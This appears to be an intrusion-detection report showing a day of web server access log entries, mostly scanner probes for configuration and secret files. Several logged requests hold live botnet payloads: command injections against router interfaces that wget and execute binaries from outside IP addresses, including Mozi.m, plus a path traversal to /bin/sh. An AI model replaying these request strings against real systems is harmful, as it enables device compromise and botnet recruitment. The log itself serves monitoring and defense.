Summary: 2 incidents discovered from one client

	192.168.21.127 | 2 incidents | impact ∑: 42	attacks only
	Description: A targeted scan yesterday. A total of 2 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 00:32:27 +0200 GET /portal/redlion HTTP/1.1 404 360 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 00:32:51 +0200 GET / HTTP/1.1 200 103741 - - 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 00:57:31 +0200 GET /ab2h HTTP/1.1 404 360 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 00:57:37 +0200 GET / HTTP/1.1 200 4801 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 00:57:40 +0200 GET /favicon.ico HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 00:57:42 +0200 GET /teorema505?t=1 HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 01:29:12 +0200 GET /2022_12_02_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 01:42:40 +0200 GET / HTTP/1.1 200 4801 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 01:48:29 +0200 GET / HTTP/1.0 200 103604 - ivre-masscan/1.3 https://github.com/robertdavidgraham/ 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:27:49 +0200 GET / HTTP/1.1 200 4801 - python-requests/2.32.2 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:40 +0200 GET / HTTP/1.1 200 103741 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:41 +0200 GET /xmlrpc.php?rsd HTTP/1.1 503 473 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:41 +0200 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:42 +0200 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:42 +0200 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:42 +0200 GET /2018/wp-includes/wlwmanifest.xml HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:43 +0200 GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:43 +0200 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:43 +0200 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:35:44 +0200 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:51:38 +0200 GET / HTTP/1.1 200 4801 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:56:51 +0200 GET /2020_08_31_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 02:56:52 +0200 GET /2023_11_26_vipex_access.log.1.html HTTP/1.1 304 199 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 03:12:30 +0200 GET /_profiler/phpinfo HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 9; POCO F1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 03:42:53 +0200 GET /2021_12_10_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 04:00:47 +0200 GET /2024_01_11_deviceapi_access.log.1.html HTTP/1.1 304 197 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 04:25:48 +0200 GET / HTTP/1.0 200 103604 - Mozilla/5.0 (Linux; Android 6.0.1; ONE E1003) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 04:35:07 +0200 GET /shell?cd /tmp;rm earm earm7;nohup wget http:/\\/154.216.18.196/earm7;chmod 777 earm7;./earm7 jaws;nohup wget http:/\\/154.216.18.196/earm;chmod 777 earm;./earm jaws HTTP/1.1 404 360 - KrebsOnSecurity 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 04:43:58 +0200 SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1 400 392 - - 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 05:02:29 +0200 GET / HTTP/1.1 200 4801 - Linux Gnu (cow) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 05:21:34 +0200 GET / HTTP/1.1 200 4801 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 05:29:13 +0200 GET / HTTP/1.1 200 4801 - Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 05:56:12 +0200 GET / HTTP/1.1 200 4801 - Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 05:59:13 +0200 GET /robots.txt HTTP/1.1 404 360 - Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 06:00:34 +0200 GET /geoserver/web/ HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 06:26:37 +0200 GET /2023_08_06_deviceapi_access.log.1.html HTTP/1.1 200 228 - Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 06:28:13 +0200 GET / HTTP/1.1 200 4801 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 06:34:35 +0200 GET / HTTP/1.0 200 104352 - ivre-masscan/1.3 https://github.com/robertdavidgraham/ 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 06:50:58 +0200 GET /.git/config HTTP/1.1 404 360 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:04:40 +0200 GET /2020_08_14_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:16 +0200 GET /staging/.env HTTP/1.1 404 360 - Links (2.1pre15; FreeBSD 5.3-RELEASE i386; 196x84) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:18 +0200 GET /app/.env HTTP/1.1 404 360 - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:19 +0200 GET /app_dev.php/_profiler/phpinfo HTTP/1.1 503 473 - Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:21 +0200 GET /.config.yaml HTTP/1.1 404 360 - Mozilla/5.0 (iPod; U; CPU iPhone OS 433 like Mac OS X; zh-CN) AppleWebKit/533.17.9 (KHTML like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:23 +0200 GET /?phpinfo=-1 HTTP/1.1 200 104495 - Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:25 +0200 GET /app_dev.php/_profiler/open?file=app/config/parameters.yml HTTP/1.1 503 473 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:25 +0200 GET /client_secrets.json HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:26 +0200 GET /config/aws.yml HTTP/1.1 404 360 - Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:27 +0200 GET /debug/default/view?panel=config HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; UHG_Win7_Build 11-15-2010; rv:11.0) like Gecko 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:29 +0200 GET /getcfg.php HTTP/1.1 503 473 - Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:30 +0200 GET /infophp.php HTTP/1.1 503 473 - Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:32 +0200 GET /library/.env HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:33 +0200 GET /pinfo.php HTTP/1.1 503 473 - Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:34 +0200 GET /sites/all/libraries/mailchimp/.env HTTP/1.1 404 360 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:16:35 +0200 GET /web/debug/default/view HTTP/1.1 404 360 - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0; Swinburne) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:23:38 +0200 GET / HTTP/1.0 200 104352 - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3947.100 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:30:39 +0200 GET /2022_11_21_report_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 07:53:34 +0200 GET /shell?cd /tmp;rm earm earm7;nohup wget http:/\\/154.216.18.196/earm7;chmod 777 earm7;./earm7 jaws;nohup wget http:/\\/154.216.18.196/earm;chmod 777 earm;./earm jaws HTTP/1.1 404 360 - KrebsOnSecurity 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 08:12:33 +0200 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1 200 4834 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 08:24:24 +0200 GET / HTTP/1.0 200 104352 - ivre-masscan/1.3 https://github.com/robertdavidgraham/ 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 08:40:55 +0200 GET /2022_12_12_report_access.log.1.html HTTP/1.1 404 360 http://webproxy1.opennet.hu/ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4447.51 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 08:41:00 +0200 GET /2019_11_24_vipex_access.log.1.html HTTP/1.1 404 360 http://webproxy1.opennet.hu Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4447.51 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 08:56:20 +0200 GET / HTTP/1.1 200 104495 - HTTP Banner Detection (https://security.ipip.net) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 09:00:03 +0200 GET /_profiler/phpinfo HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 09:06:48 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) MicroMessenger Weixin QQ AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2692 MMWEBSDK/200901 Mobile Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 09:17:09 +0200 GET /favicon.ico HTTP/1.1 404 360 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 09:21:28 +0200 GET /geoserver/web/ HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 09:28:56 +0200 GET /.git/config HTTP/1.1 404 360 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 09:29:40 +0200 GET /2022_11_17_report_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 09:36:46 +0200 GET /2024_08_14_deviceapi_access.log.1.html HTTP/1.1 200 32233 - Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 10:36:07 +0200 GET /2023_12_16_vipex_access.log.1.html HTTP/1.1 304 199 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 27 xss csrf dt id lfi sqli rfe - 192.168.21.127 - - Sun, 18 Aug 2024 10:52:06 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://94.156.66.26/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 404 360 - Go-http-client/1.1 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 11:20:06 +0200 GET /owa/auth/logon.aspx HTTP/1.1 404 360 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 11:33:11 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 11:54:51 +0200 POST /cgi-bin/../../../../../../../../../../bin/sh HTTP/1.1 400 392 - Custom-AsyncHttpClient 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:06:07 +0200 GET /2024_01_20_deviceapi_access.log.1.html HTTP/1.1 304 197 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:11:09 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:18:39 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:18:56 +0200 GET /webfig/ HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:19:25 +0200 GET /favicon.ico HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:19:26 +0200 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:19:39 +0200 GET /static/historypage.js HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:20:14 +0200 GET /cgi-bin/authLogin.cgi HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:20:48 +0200 GET /sitecore/shell/sitecore.version.xml HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:21:18 +0200 GET /WebInterface/ HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:21:38 +0200 HEAD /icons/sphere1.png HTTP/1.1 200 232 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:21:38 +0200 HEAD /icons/.%2e/.%2e/apache2/icons/sphere1.png HTTP/1.1 400 145 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:21:38 +0200 GET /admin/ HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:21:38 +0200 GET /ext-js/app/common/zld_product_spec.js HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:21:38 +0200 GET /zabbix/favicon.ico HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:21:59 +0200 GET /index.jsp HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:28:44 +0200 GET /shell?cd /tmp;rm earm earm7;nohup wget http:/\\/154.216.18.196/earm7;chmod 777 earm7;./earm7 jaws;nohup wget http:/\\/154.216.18.196/earm;chmod 777 earm;./earm jaws HTTP/1.1 404 360 - KrebsOnSecurity 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:46:53 +0200 GET /.git/config HTTP/1.1 404 360 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:47:21 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:47:23 +0200 GET /upl.php HTTP/1.1 503 473 - Mozilla/5.0 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:47:24 +0200 GET /geoip/ HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:47:24 +0200 GET /1.php HTTP/1.1 503 473 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:47:25 +0200 GET /password.php HTTP/1.1 503 473 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:58:57 +0200 POST / HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:59:00 +0200 GET /WuEL HTTP/1.1 404 360 - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; ; NCLIENT50_AAPCDA5841E333) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:59:07 +0200 GET /download/file.ext HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 12:59:08 +0200 GET /mPlayer HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 13:03:24 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 13:03:43 +0200 GET /2022_12_25_report_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 13:49:17 +0200 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm -rf /tmp/*;wget http://59.93.224.177:38148/Mozi.m -O /tmp/netgear;sh netgear&curpath=/&currentsetting.htm=1 HTTP/1.0 404 360 - - 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 14:10:27 +0200 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm -rf /tmp/*;wget http://59.91.85.73:45405/Mozi.m -O /tmp/netgear;sh netgear&curpath=/&currentsetting.htm=1 HTTP/1.0 404 360 - - 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 14:38:59 +0200 GET / HTTP/1.1 200 104495 - - 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 14:46:19 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 